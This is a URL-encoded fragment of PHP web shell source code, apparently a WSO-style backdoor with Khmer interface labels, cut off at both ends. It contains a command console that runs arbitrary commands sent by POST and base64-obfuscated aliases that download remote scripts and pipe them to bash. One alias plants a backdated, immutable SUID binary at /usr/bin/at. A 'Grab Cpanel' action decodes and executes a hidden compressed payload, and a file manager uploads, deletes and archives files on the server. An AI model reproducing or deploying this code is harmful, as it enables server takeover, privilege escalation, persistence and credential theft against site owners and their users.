0%22locate%20%27.fetchmailrc%27%22%2C%20%22locate%20backup%20files%22%20%3D%3E%20%22locate%20backup%22%2C%20%22locate%20dump%20files%22%20%3D%3E%20%22locate%20dump%22%2C%20%22locate%20priv%20files%22%20%3D%3E%20%22locate%20priv%22%2C%20%22Root%20Scanner%20%28Privesc%29%22%20%3D%3E%20%22echo%20Y3VybCAtTHNvLSBodHRwczovL3hzZWMtMTMzNy53ZWIuYXBwL0BGaWxlcy9hdXRvLXJvb3QucG5nIHwgYmFzaA%3D%3D%20%7C%20base64%20-d%20%7C%20bash%22%2C%20%22Spawn%20Kr%20Scannnnnerrr%20%28auto.tar.gz%29%20in%20current%20directory%22%20%3D%3E%20%22echo%20d2dldCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vaGVrZXJwcm90enkvcm9vdHNoZWxsL21haW4vYXV0by50YXIuZ3o7dGFyIC14ZiBhdXRvLnRhci5nejtybSAtcmYgYXV0by50YXIuZ3o%3D%20%7C%20base64%20-d%20%7C%20bash%22%2C%20%22Put%20SUID%20Phyaaaa%20%3C3%20%5E%5f%5E%22%20%3D%3E%20%22echo%20d2dldCBodHRwczovL3hzZWMtMTMzNy53ZWIuYXBwL0BGaWxlcy9waGVhLnBuZyAtTyAvdXNyL2Jpbi9hdDtjaG93biByb290OnJvb3QgL3Vzci9iaW4vYXQ7Y2htb2QgdW9nPXhzIC91c3IvYmluL2F0O3RvdWNoIC1kICdBcHIgMTQgIDIwMDInIC91c3IvYmluL2F0OyBjaGF0dHIgK2kgL3Vzci9iaW4vYXQ%3D%20%7C%20base64%20-d%20%7C%20bash%22%2C%20%5D%3B%20%7D%20function%20actionConsole%28%29%20%7B%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%20%26%26%20!empty%28%24%5fPOST%5B%22p2%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22stderr%5fto%5fout%22%2C%20true%20%29%3B%20%24%5fPOST%5B%22p1%22%5D%20.%3D%20%22%202%3E%261%22%3B%20%7D%20elseif%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22stderr%5fto%5fout%22%2C%200%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22ajax%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%2C%20true%20%29%3B%20ob%5fstart%28%29%3B%20echo%20%22d.cf.cmd.value%3D%27%27%3B%5Cn%22%3B%20%24temp%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%24%5fPOST%5B%22charset%22%5D%2C%20%22UTF-8%22%2C%20addcslashes%28%20%22%5Cn%24%20%22%20.%20%24%5fPOST%5B%22p1%22%5D%20.%20%22%5Cn%22%20.%20ex%28%24%5fPOST%5B%22p1%22%5D%29%2C%20%22%5Cn%5Cr%5Ct%5C%27%5C0%22%20%29%20%29%3B%20if%20%28preg%5fmatch%28%22!.%2acd%5Cs%2B%28%5B%5E%3B%5D%2B%29%24!%22%2C%20%24%5fPOST%5B%22p1%22%5D%2C%20%24match%29%29%20%7B%20if%20%28%40chdir%28%24match%5B1%5D%29%29%20%7B%20%24GLOBALS%5B%22cwd%22%5D%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B25%5D%28%29%3B%20echo%20%22c%5f%3D%27%22%20.%20%24GLOBALS%5B%22cwd%22%5D%20.%20%22%27%3B%22%3B%20%7D%20%7D%20echo%20%22d.cf.output.value%2B%3D%27%22%20.%20%24temp%20.%20%22%27%3B%22%3B%20echo%20%22d.cf.output.scrollTop%20%3D%20d.cf.output.scrollHeight%3B%22%3B%20%24temp%20%3D%20ob%5fget%5fclean%28%29%3B%20echo%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24temp%29%2C%20%22%5Cn%22%2C%20%24temp%3B%20exit%28%29%3B%20%7D%20if%20%28empty%28%24%5fPOST%5B%22ajax%22%5D%29%20%26%26%20!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%2C%200%20%29%3B%20%7D%20hardHeader%28%29%3B%20echo%20%22%3Cscript%3E%0Aif%28window.Event%29%20window.captureEvents%28Event.KEYDOWN%29%3B%0Avar%20cmds%20%3D%20new%20Array%28%27%27%29%3B%0Avar%20cur%20%3D%200%3B%0Afunction%20kp%28e%29%20%7B%0A%09var%20n%20%3D%20%28window.Event%29%20%3F%20e.which%20%3A%20e.keyCode%3B%0A%09if%28n%20%3D%3D%2038%29%20%7B%0A%09%09cur--%3B%0A%09%09if%28cur%3E%3D0%29%0A%09%09%09document.cf.cmd.value%20%3D%20cmds%5Bcur%5D%3B%0A%09%09else%0A%09%09%09cur%2B%2B%3B%0A%09%7D%20else%20if%28n%20%3D%3D%2040%29%20%7B%0A%09%09cur%2B%2B%3B%0A%09%09if%28cur%20%3C%20cmds.length%29%0A%09%09%09document.cf.cmd.value%20%3D%20cmds%5Bcur%5D%3B%0A%09%09else%0A%09%09%09cur--%3B%0A%09%7D%0A%7D%0Afunction%20add%28cmd%29%20%7B%0A%09cmds.pop%28%29%3B%0A%09cmds.push%28cmd%29%3B%0A%09cmds.push%28%27%27%29%3B%0A%09cur%20%3D%20cmds.length-1%3B%0A%7D%0A%3C%2Fscript%3E%22%3B%20echo%20%27%3Ch1%3EConsole%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cform%20name%3Dcf%20onsubmit%3D%22if%28d.cf.cmd.value%3D%3D%5C%27clear%5C%27%29%7Bd.cf.output.value%3D%5C%27%5C%27%3Bd.cf.cmd.value%3D%5C%27%5C%27%3Breturn%20false%3B%7Dadd%28this.cmd.value%29%3Bif%28this.ajax.checked%29%7Ba%28null%2Cnull%2Cthis.cmd.value%2Cthis.show%5ferrors.checked%3F1%3A%5C%27%5C%27%29%3B%7Delse%7Bg%28null%2Cnull%2Cthis.cmd.value%2Cthis.show%5ferrors.checked%3F1%3A%5C%27%5C%27%29%3B%7D%20return%20false%3B%22%3E%3Clabel%3E%3Cselect%20name%3Dalias%3E%27%3B%20foreach%20%28%24GLOBALS%5B%22aliases%22%5D%20as%20%24n%20%3D%3E%20%24v%29%20%7B%20if%20%28%24v%20%3D%3D%20%22%22%29%20%7B%20echo%20%27%3Coptgroup%20label%3D%22-%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24n%29%20.%20%27-%22%3E%3C%2Foptgroup%3E%27%3B%20continue%3B%20%7D%20echo%20%27%3Coption%20value%3D%22%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24v%29%20.%20%27%22%3E%27%20.%20%24n%20.%20%22%3C%2Foption%3E%22%3B%20%7D%20echo%20%27%3C%2Fselect%3E%3C%2Flabel%3E%3Cinput%20type%3Dbutton%20onclick%3D%22add%28d.cf.alias.value%29%3Bif%28d.cf.ajax.checked%29%7Ba%28null%2Cnull%2Cd.cf.alias.value%2Cd.cf.show%5ferrors.checked%3F1%3A%5C%27%5C%27%29%3B%7Delse%7Bg%28null%2Cnull%2Cd.cf.alias.value%2Cd.cf.show%5ferrors.checked%3F1%3A%5C%27%5C%27%29%3B%7D%22%20value%3D%22submit%22%3E%20%3Cnobr%3E%3Cinput%20type%3Dcheckbox%20name%3Dajax%20value%3D1%20%27%20.%20%28%40%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%5D%20%3F%20%22checked%22%20%3A%20%22%22%29%20.%20%22%3E%20send%20using%20AJAX%20%3Cinput%20type%3Dcheckbox%20name%3Dshow%5ferrors%20value%3D1%20%22%20.%20%28!empty%28%24%5fPOST%5B%22p2%22%5D%29%20%7C%7C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22stderr%5fto%5fout%22%5D%20%3F%20%22checked%22%20%3A%20%22%22%29%20.%20%27%3E%20redirect%20stderr%20to%20stdout%20%282%3E%261%29%3C%2Fnobr%3E%3Cbr%2F%3E%3Ctextarea%20class%3Dbigarea%20name%3Doutput%20style%3D%22border-bottom%3A0%3Bmargin-top%3A5px%3B%22%20readonly%3E%27%3B%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20echo%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%20%22%24%20%22%20.%20%24%5fPOST%5B%22p1%22%5D%20.%20%22%5Cn%22%20.%20ex%28%24%5fPOST%5B%22p1%22%5D%29%20%29%3B%20%7D%20echo%20%27%3C%2Ftextarea%3E%3Ctable%20style%3D%22border%3A1px%20solid%20%230d0d0d%3Bbackground-color%3A%230d0d0d%3Bborder-top%3A0px%3B%22%20cellpadding%3D0%20cellspacing%3D0%20width%3D%22100%25%22%3E%3Ctr%3E%3Ctd%20style%3D%22padding-left%3A4px%3B%20width%3A13px%3B%22%3E%24%3C%2Ftd%3E%3Ctd%3E%3Cinput%20type%3Dtext%20name%3Dcmd%20style%3D%22border%3A0px%3Bwidth%3A100%25%3B%22%20onkeydown%3D%22kp%28event%29%3B%22%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%27%3B%20echo%20%22%3C%2Fform%3E%3C%2Fdiv%3E%3Cscript%3Ed.cf.cmd.focus%28%29%3B%3C%2Fscript%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionPhp%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EGrab%20Cpanel%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%24hex%20%3D%20%22tUrvYto4GP5eqf%2BDlyElXGZWoLfTUwkbR5R3H6qWYZO6XoXinO0UupA4w3jY%2Br%2FfeJtA%2BNECpzvUCm8%2Ffv368XA%2FYj6IQAwodJaZChrm8cOAE4IJNXqvbWVrkFJOwgQOEA8Y4fX7ukhufMTsyjQmf1Q8Ikp8HLEbwYNS07UIZ4PweNWfhwcIPpWYaz4fhTlBubVuMEVu5YwzZ3odXcRIwWEr4q6AE84iEiBTxNSSUGI91fVna8CTCVNzZllN8t88mbcksB6uWyqpN41SQJGPPnEi55bpZZa4TjzlqZPgIDOrCoULFFriIBXEMtz7mHWcISEiUNYchgkqAkoPDwoWtgeRMJHN40fRz0zOU5PF45yjOBffA3%2BWf5PJ%2Fwm6160MhwglbFmpQtlQzustZ9k5YvdD03KTSGALXWi%2BXnx2YuwsBwHk%2BUy%2FuwvuFJ6GmKS7YJ3pg5ME2QzqwlcMyWaCo4D5NVJsAlFs8kouKHuBtAwTHicTWONvTRAt1QdxRVNPWQtBesNWx1NI9s1NcXFTBoSD%2FhPYf%2Bg3etO0iygyAzwMOAEgBBKjwWrOwm4kRVgKU2hOQUU1Zbkx5dQ1nG%2B0SY8g32C06UHwlLumo%2BPdmmUN5p1wujM2lCDDGIjzEVmSDEarkJagkG6cVxFLKl5IiSPB4YN%2BtpEJgeVgiLc%2BhcNTWVg59HLaZRED0DcDKUR416GzDfYX9051m%2FNJA2szFLLQrNR0TUmB2n9%2FDHXgs0QPVIjiXKR1OBGMn6ChVdmkgXfH76B0VsrAqNLG0ZFwgFzSzYGXApygdOZOK295xnVPa%2BZCGAsb7m%2FzHKNE997WEYsJsOUPxmwcPLZX3Vo3Ye2ZWQN6VsZL5X%2Ff5e4yULFyLwV%2FjjzdW55sQeBt7kU7K%2Fxd5iJsUZ854Qv65uc%2FWo6O5DeNkoRGbewb65vyeH2aX1h4%2BivQaok8U1ZR8gG4HEYnVj2B3%2BGQTNBio8vz7lrntDeAL7uYdzg8ps6QuvjRCSehsXbcfBjcjBef%2Bu2een7F31Gex%2B4bx1DWVBGka1URXL5inNoJIveN2lvHq6JCPGzEYd2rbPBKUNcCdcMjSmmaLyZr2jnr2ai2FWb9pX9maHMbhNModLAjcLiQ%2FvxwwINR2XZOefXFVdedm5vOx5vO5VLvWKf9zLwFuNvvnWrbve5S%2B%2By637VfzvFm%2F%2BIKQDpvchxymbpLFZ6PayLRM%2Ft%2BKpu4q%2FxCWzbDLM5uEKhSbeYCRvL1J55G%2FmZKf5%2F7rreH767a65qlrjjnBoPczwenY2F8FBMSP0tYxkqsRGyfSmvfeUQf4KR9F5b5DQdcupruLwDyEwJgMI1MMhnEbGGZryUUGZbzW9VrPR9FNsRvcZZUZ2%2BVW7Th5jywZ06mx9zW7nFMSVKtbWxvSBXBqmHv1GGWoKWIQvqnSVCZg04UCCgNLdmm1BREssRCJZ0GmwmTRCRMS%2B20V1AEGUkq2cPjZGhes8LcbRUqQWQzFb2QiO7FTdo6%2FymcQ04xgSMCw3qJ0nbLd6ckSWizpSULQZ%2BRwaz6TCxX8kRH0nNQYXJW7VJuUWHf3NmmLFrM6nyoGq4nuwWEaqfSl9CTpf3IfSXNH1er81nkQchHiIq3Xv%2BQ%2F6fmIfvVOeS%2FrXqWXGmDWGErbraNB5ddZdK1ogVRSfnxe1oWlC1m6Rk9Sql5m0ax9K%2By3U1y7LBctUDTQzmonSoIMDUD5kHFBE35rF9NZsHnfiV%2F7zV3m%2Fp%2BeQz2tNy0%2FrjVv1diqam4n9Gi7XsPukOrp6Imp2TAZmcNT5O3BOyfms2BDCbH8j0YueU34SXLR15NGOdZ5qsptZqi1czgPKEE55j4r7Ps3TvPePW73UG36coe9ba9CbNrYpsB5XvyJuCyUBfgNnPoT0gvAqh81WchExfyRpv9hN63%2FgE%3D%22%3B%20%24temp%5ffile%20%3D%20tmpfile%28%29%3B%20fwrite%28%20%24temp%5ffile%2C%20%22%5Cx3C%5Cx3F%5Cx70%5Cx68%5Cx70%5Cx20%22%20.%20str%5frot13%28gzinflate%28str%5frot13%28%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24hex%29%29%29%29%20%29%3B%20include%20stream%5fget%5fmeta%5fdata%28%24temp%5ffile%29%5B%22uri%22%5D%3B%20fclose%28%24temp%5ffile%29%3B%20echo%20%22%20%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionFilesMan%28%29%20%7B%20if%20%28!empty%28%24%5fCOOKIE%5B%22f%22%5D%29%29%20%7B%20%24%5fCOOKIE%5B%22f%22%5D%20%3D%20%40unserialize%28%24%5fCOOKIE%5B%22f%22%5D%29%3B%20%7D%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20switch%20%28%24%5fPOST%5B%22p1%22%5D%29%20%7B%20case%20%22uploadFile%22%3A%20if%20%28is%5farray%28%24%5fFILES%5B%22f%22%5D%5B%22tmp%5fname%22%5D%29%29%20%7B%20foreach%20%28%24%5fFILES%5B%22f%22%5D%5B%22tmp%5fname%22%5D%20as%20%24i%20%3D%3E%20%24tmpName%29%20%7B%20if%20%28%20!%40move%5fuploaded%5ffile%28%20%24tmpName%2C%20%24%5fFILES%5B%22f%22%5D%5B%22name%22%5D%5B%24i%5D%20%29%20%29%20%7B%20echo%20%22Can%27t%20upload%20file!%22%3B%20%7D%20%7D%20%7D%20break%3B%20case%20%22mkdir%22%3A%20if%20%28!%40mkdir%28%24%5fPOST%5B%22p2%22%5D%29%29%20%7B%20echo%20%22Can%27t%20create%20new%20dir%22%3B%20%7D%20break%3B%20case%20%22delete%22%3A%20function%20deleteDir%28%24path%29%20%7B%20%24path%20%3D%20substr%28%24path%2C%20-1%29%20%3D%3D%20%22%2F%22%20%3F%20%24path%20%3A%20%24path%20.%20%22%2F%22%3B%20%24dh%20%3D%20opendir%28%24path%29%3B%20while%20%28%28%24%E2%96%9F%20%3D%20readdir%28%24dh%29%29%20!%3D%3D%20false%29%20%7B%20%24%E2%96%9F%20%3D%20%24path%20.%20%24%E2%96%9F%3B%20if%20%28basename%28%24%E2%96%9F%29%20%3D%3D%20%22..%22%20%7C%7C%20basename%28%24%E2%96%9F%29%20%3D%3D%20%22.%22%29%20%7B%20continue%3B%20%7D%20%24type%20%3D%20filetype%28%24%E2%96%9F%29%3B%20if%20%28%24type%20%3D%3D%20%22dir%22%29%20%7B%20deleteDir%28%24%E2%96%9F%29%3B%20%7D%20else%20%7B%20%40unlink%28%24%E2%96%9F%29%3B%20%7D%20%7D%20closedir%28%24dh%29%3B%20%40rmdir%28%24path%29%3B%20%7D%20if%20%28is%5farray%28%40%24%5fPOST%5B%22f%22%5D%29%29%20%7B%20foreach%20%28%24%5fPOST%5B%22f%22%5D%20as%20%24f%29%20%7B%20if%20%28%24f%20%3D%3D%20%22..%22%29%20%7B%20continue%3B%20%7D%20%24f%20%3D%20urldecode%28%24f%29%3B%20if%20%28is%5fdir%28%24f%29%29%20%7B%20deleteDir%28%24f%29%3B%20%7D%20else%20%7B%20%40unlink%28%24f%29%3B%20%7D%20%7D%3B%20%7D%20break%3B%20case%20%22paste%22%3A%20if%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22copy%22%29%20%7B%20function%20copy%5fpaste%28%24c%2C%20%24s%2C%20%24d%29%20%7B%20if%20%28is%5fdir%28%24c%20.%20%24s%29%29%20%7B%20mkdir%28%24d%20.%20%24s%29%3B%20%24h%20%3D%20%40opendir%28%24c%20.%20%24s%29%3B%20while%20%28%28%24f%20%3D%20%40readdir%28%24h%29%29%20!%3D%3D%20false%29%20%7B%20if%20%28%24f%20!%3D%20%22.%22%20and%20%24f%20!%3D%20%22..%22%29%20%7B%20copy%5fpaste%28%20%24c%20.%20%24s%20.%20%22%2F%22%2C%20%24f%2C%20%24d%20.%20%24s%20.%20%22%2F%22%20%29%3B%20%7D%20%7D%20%7D%20elseif%20%28is%5ffile%28%24c%20.%20%24s%29%29%20%7B%20%40copy%28%24c%20.%20%24s%2C%20%24d%20.%20%24s%29%3B%20%7D%20%7D%20foreach%20%28%24%5fCOOKIE%5B%22f%22%5D%20as%20%24f%29%20%7B%20copy%5fpaste%28%24%5fCOOKIE%5B%22c%22%5D%2C%20%24f%2C%20%24GLOBALS%5B%22cwd%22%5D%29%3B%20%7D%20%7D%20elseif%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22move%22%29%20%7B%20function%20move%5fpaste%28%24c%2C%20%24s%2C%20%24d%29%20%7B%20if%20%28is%5fdir%28%24c%20.%20%24s%29%29%20%7B%20mkdir%28%24d%20.%20%24s%29%3B%20%24h%20%3D%20%40opendir%28%24c%20.%20%24s%29%3B%20while%20%28%28%24f%20%3D%20%40readdir%28%24h%29%29%20!%3D%3D%20false%29%20%7B%20if%20%28%24f%20!%3D%20%22.%22%20and%20%24f%20!%3D%20%22..%22%29%20%7B%20copy%5fpaste%28%20%24c%20.%20%24s%20.%20%22%2F%22%2C%20%24f%2C%20%24d%20.%20%24s%20.%20%22%2F%22%20%29%3B%20%7D%20%7D%20%7D%20elseif%20%28%40is%5ffile%28%24c%20.%20%24s%29%29%20%7B%20%40copy%28%24c%20.%20%24s%2C%20%24d%20.%20%24s%29%3B%20%7D%20%7D%20foreach%20%28%24%5fCOOKIE%5B%22f%22%5D%20as%20%24f%29%20%7B%20%40rename%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%2C%20%24GLOBALS%5B%22cwd%22%5D%20.%20%24f%29%3B%20%7D%20%7D%20elseif%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22zip%22%29%20%7B%20if%20%28class%5fexists%28%22ZipArchive%22%29%29%20%7B%20%24zip%20%3D%20new%20ZipArchive%28%29%3B%20if%20%28%24zip-%3Eopen%28%24%5fPOST%5B%22p2%22%5D%2C%201%29%29%20%7B%20chdir%28%24%5fCOOKIE%5B%22c%22%5D%29%3B%20foreach%20%28%24%5fCOOKIE%5B%22f%22%5D%20as%20%24f%29%20%7B%20if%20%28%24f%20%3D%3D%20%22..%22%29%20%7B%20continue%3B%20%7D%20if%20%28%40is%5ffile%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%29%29%20%7B%20%24zip-%3EaddFile%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%2C%20%24f%29%3B%20%7D%20elseif%20%28%40is%5fdir%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%29%29%20%7B%20%24iterator%20%3D%20new%20RecursiveIteratorIterator%28%20new%20RecursiveDirectoryIterator%28%20%24f%20.%20%22%2F%22%2C%20FilesystemIterator%3A%3ASKIP%5fDOTS%20%29%20%29%3B%20foreach%20%28%24iterator%20as%20%24key%20%3D%3E%20%24value%29%20%7B%20%24zip-%3EaddFile%28realpath%28%24key%29%2C%20%24key%29%3B%20%7D%20%7D%20%7D%20chdir%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24zip-%3Eclose%28%29%3B%20%7D%20%7D%20%7D%20elseif%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22unzip%22%29%20%7B%20if%20%28class%5fexists%28%22ZipArchive%22%29%29%20%7B%20%24zip%20%3D%20new%20ZipArchive%28%29%3B%20foreach%20%28%24%5fCOOKIE%5B%22f%22%5D%20as%20%24f%29%20%7B%20if%20%28%24zip-%3Eopen%28%24%5fCOOKIE%5B%22c%22%5D%20.%20%24f%29%29%20%7B%20%24zip-%3EextractTo%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24zip-%3Eclose%28%29%3B%20%7D%20%7D%20%7D%20%7D%20elseif%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22tar%22%29%20%7B%20chdir%28%24%5fCOOKIE%5B%22c%22%5D%29%3B%20%24%5fCOOKIE%5B%22f%22%5D%20%3D%20array%5fmap%28%22escapeshellarg%22%2C%20%24%5fCOOKIE%5B%22f%22%5D%29%3B%20ex%28%20%22tar%20cfzv%20%22%20.%20escapeshellarg%28%24%5fPOST%5B%22p2%22%5D%29%20.%20%22%20%22%20.%20implode%28%22%20%22%2C%20%24%5fCOOKIE%5B%22f%22%5D%29%20%29%3B%20chdir%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%7D%20unset%28%24%5fCOOKIE%5B%22f%22%5D%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%22f%22%2C%20%22%22%2C%20time%28%29%20-%203600%29%3B%20break%3B%20default%3A%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%22act%22%2C%20%24%5fPOST%5B%22p1%22%5D%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%22f%22%2C%20serialize%28%40%24%5fPOST%5B%22f%22%5D%29%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%22c%22%2C%20%40%24%5fPOST%5B%22c%22%5D%29%3B%20%7D%20break%3B%20%7D%20%7D%20hardHeader%28%29%3B%20echo%20%27%3Ch1%3E%E1%9E%80%E1%9E%98%E1%9F%92%E1%9E%98%E1%9E%9C%E1%9E%B7%E1%9E%92%E1%9E%B8%E2%80%8B%E1%9E%82%E1%9F%92%E1%9E%9A%E1%9E%94%E1%9F%8B%E2%80%8B%E1%9E%82%E1%9F%92%E1%9E%9A%E1%9E%84%E2%80%8B%E1%9E%AF%E1%9E%80%E1%9E%9F%E1%9E%B6%E1%9E%9A%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cscript%3Ep1%5f%3Dp2%5f%3Dp3%5f%3D%22%22%3B%3C%2Fscript%3E%27%3B%20%24dirContent%20%3D%20hardScandir%28%20isset%28%24%5fPOST%5B%22c%22%5D%29%20%3F%20%24%5fPOST%5B%22c%22%5D%20%3A%20%24GLOBALS%5B%22cwd%22%5D%20%29%3B%20if%20%28%24dirContent%20%3D%3D%3D%20false%29%20%7B%20echo%20%27Can%5C%27t%20open%20this%20folder!%27%3B%20hardFooter%28%29%3B%20return%3B%20%7D%20global%20%24sort%3B%20%24sort%20%3D%20%5B%22name%22%2C%201%5D%3B%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20if%20%28preg%5fmatch%28%22!s%5f%28%5BA-z%5D%2B%29%5f%28%5Cd%7B1%7D%29!%22%2C%20%24%5fPOST%5B%22p1%22%5D%2C%20%24match%29%29%20%7B%20%24sort%20%3D%20%5B%24match%5B1%5D%2C%20%28int%29%20%24match%5B2%5D%5D%3B%20%7D%20%7D%20echo%20%22%3Cscript%3E%0A%09function%20sa%28%29%20%7B%0A%09%09for%28i%3D0%3Bi%3Cd.files.elements.length%3Bi%2B%2B%29%0A%09%09%09if%28d.files.elements%5Bi%5D.type%20%3D%3D%20%27checkbox%27%29%0A%09%09%09%09d.files.elements%5Bi%5D.checked%20%3D%20d.files.elements%5B0%5D.checked%3B%0A%09%7D%0A%3C%2Fscript%3E%0A%3Ctable%20width%3D%27100%25%27%20class%3D%27main%27%20cellspacing%3D%270%27%20cellpadding%3D%272%27%3E%0A%3Cform%20name%3Dfiles%20method%3Dpost%3E%3Ctr%3E%3Cth%20width%3D%2713px%27%3E%3Cinput%20type%3Dcheckbox%20onclick%3D%27sa%28%29%27%20class%3Dchkbx%3E%3C%2Fth%3E%3Cth%3E%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2Cnull%2C%5C%22s%5fname%5f%22%20.%20%28%24sort%5B1%5D%20%3F%200%20%3A%201%29%20.%20%22%5C%22%29%27%3E%E1%9E%88%E1%9F%92%E1%9E%98%E1%9F%84%E1%9F%87%3C%2Fa%3E%3C%2Fth%3E%3Cth%3E%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2Cnull%2C%5C%22s%5fsize%5f%22%20.%20%28%24sort%5B1%5D%20%3F%200%20%3A%201%29%20.%20%22%5C%22%29%27%3E%E1%9E%91%E1%9F%86%E1%9E%A0%E1%9F%86%3C%2Fa%3E%3C%2Fth%3E%3Cth%3E%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2Cnull%2C%5C%22s%5fmodify%5f%22%20.%20%28%24sort%5B1%5D%20%3F%200%20%3A%201%29%20.%20%22%5C%22%29%27%3E%E1%9E%80%E1%9F%82%E1%9E%94%E1%9F%92%E1%9E%9A%E1%9F%82%E1%9E%85%E1%9E%BB%E1%9E%84%E1%9E%80%E1%9F%92%E1%9E%9A%E1%9F%84%E1%9E%99%3C%2Fa%3E%3C%2Fth%3E%3Cth%3E%E1%9E%98%E1%9F%92%E1%9E%85%E1%9E%B6%E1%9E%9F%E1%9F%8B%2F%E1%9E%9B%E1%9F%84%E1%9E%80%3C%2Fth%3E%3Cth%3E%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2Cnull%2C%5C%22s%5fperms%5f%22%20.%20%28%24sort%5B1%5D%20%3F%200%20%3A%201%29%20.%20%22%5C%22%29%27%3E%E1%9E%80%E1%9E%B6%E1%9E%9A%E1%9E%A2%E1%9E%93%E1%9E%BB%E1%9E%89%E1%9F%92%E1%9E%89%E1%9E%B6%E1%9E%8F%3C%2Fa%3E%3C%2Fth%3E%3Cth%3E%E1%9E%9F%E1%9E%80%E1%9E%98%E1%9F%92%E1%9E%98%E1%9E%97%E1%9E%B6%E1%9E%96%3C%2Fth%3E%3C%2Ftr%3E%22%3B%20%24dirs%20%3D%20%24files%20%3D%20%5B%5D%3B%20%24n%20%3D%20count%28%24dirContent%29%3B%20for%20%28%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B%29%20%7B%20%24ow%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B18%5D%28%40fileowner%28%24dirContent%5B%24i%5D%29%29%3B%20%24gr%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B19%5D%28%40filegroup%28%24dirContent%5B%24i%5D%29%29%3B%20%24tmp%20%3D%20%5B%20%22name%22%20%3D%3E%20%24dirContent%5B%24i%5D%2C%20%22path%22%20%3D%3E%20%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%2C%20%22modify%22%20%3D%3E%20date%28%20%22Y-m-d%20H%3Ai%3As%22%2C%20%40filemtime%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%20%29%2C%20%22perms%22%20%3D%3E%20viewPermsColor%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%2C%20%22size%22%20%3D%3E%20%40filesize%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%2C%20%22owner%22%20%3D%3E%20%24ow%5B%22name%22%5D%20%3F%20%24ow%5B%22name%22%5D%20%3A%20%40fileowner%28%24dirContent%5B%24i%5D%29%2C%20%22group%22%20%3D%3E%20%24gr%5B%22name%22%5D%20%3F%20%24gr%5B%22name%22%5D%20%3A%20%40filegroup%28%24dirContent%5B%24i%5D%29%2C%20%5D%3B%20if%20%28%40is%5ffile%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%29%20%7B%20%24files%5B%5D%20%3